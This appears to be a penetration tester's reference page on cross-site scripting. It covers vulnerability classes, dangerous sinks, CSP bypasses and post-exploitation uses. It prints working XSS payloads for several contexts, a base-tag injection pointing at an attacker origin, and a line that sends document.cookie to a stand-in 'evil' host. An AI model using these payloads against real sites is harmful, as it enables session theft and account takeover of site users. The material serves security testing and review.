XSS — Comprehensive Reference.
The full XSS landscape: reflected, stored, DOM, mutation. Sink-versus-source structuring, CSP/WAF bypass, hook-and-control patterns, and the conditions under which payloads become worm-like.
Classes
- Reflected. Payload in request, reflected in same response. Usually URL parameter or form POST.
- Stored. Payload submitted once, served to many. Comments, profile fields, admin notes, log viewers.
- DOM-based. Payload never reaches server; client-side JS reads from
location.hash,postMessage, ordocument.referrerand writes to a dangerous sink. - Mutation (mXSS). Innocuous markup mutates into malicious markup when re-parsed (e.g.,
<img src=x>set via innerHTML, then serialized and re-parsed → namespace confusion).
Sink-side review checklist
- innerHTML / outerHTML / insertAdjacentHTML. Grep target. Anywhere user input flows here is suspicious by default.
- document.write / document.writeln. Modern code shouldn't use these. Where you find them, suspect XSS.
- jQuery
.html(),.append(),.prepend(). Same as innerHTML semantically. - React
dangerouslySetInnerHTML. Self-naming sink. Always escalate. - Vue
v-html/ Svelte{@html}/ Angular[innerHTML]. Same shape, same risk. - Attribute sinks.
setAttribute('href', x)withjavascript:URL;setAttribute('on*', ...)binding event handlers. - eval, Function, setTimeout/setInterval(string). Anywhere strings are executed.
- Template-string in render path. Server-side template injection often comes in here.
CSP bypass patterns
- JSONP endpoints in allowed origin.
script-src 'self'+ a self-hosted JSONP endpoint = trivially callable as<script src=/jsonp?callback=alert(1)//>. - Angular template injection. CSP allows the framework's bundle; attacker injects Angular template syntax that the framework evaluates.
- Dangling markup. Unclosed attribute steals subsequent HTML up to next quote — exfiltrates secrets even when scripts are blocked.
- Base tag injection. Inject
<base href=//attacker>→ relative-URL scripts resolve to attacker origin. - Strict-dynamic with nonce reflection. Reflected nonce in the response = attacker-controlled nonced script tag.
Payload encoding quick reference
- HTML context.
<svg/onload=alert(1)>compact, no quotes needed. - HTML attribute (single-quoted).
' onmouseover='alert(1). - HTML attribute (unquoted).
x onfocus=alert(1) autofocus. - JavaScript string context.
'-alert(1)-'breaks out of single-quoted string. - JSON in script context.
</script><img src=x onerror=alert(1)>breaks out of the script block. - Strict CSP, no scripts.
<img src=x onerror=fetch('//evil/?'+document.cookie)>blocked.<iframe src='data:text/html,<script>...often blocked. Look for dangling markup.
Post-XSS use cases
- Account takeover. Read session token from
document.cookie(if no HttpOnly) or trigger a session-bound action via fetch. - Internal recon. XSS as SSRF — make fetch() calls to internal URLs from the victim's authenticated session.
- Persistent foothold. Stored XSS in admin-facing surface → triggers when admin opens the report → admin-level privileged action under attacker control.
- Browser-as-pivot. XSS into a corporate intranet app from external referrer → fetch internal-only resources via the browser's authenticated session.
Rule of thumbAlways prove the XSS in two places: once with a non-destructive payload (
alert(document.domain) in screenshot) and once with a recipe the developer can execute against their own staging. Two proofs = no disputes about whether it was real.Related notes in this domain
From reference to evidence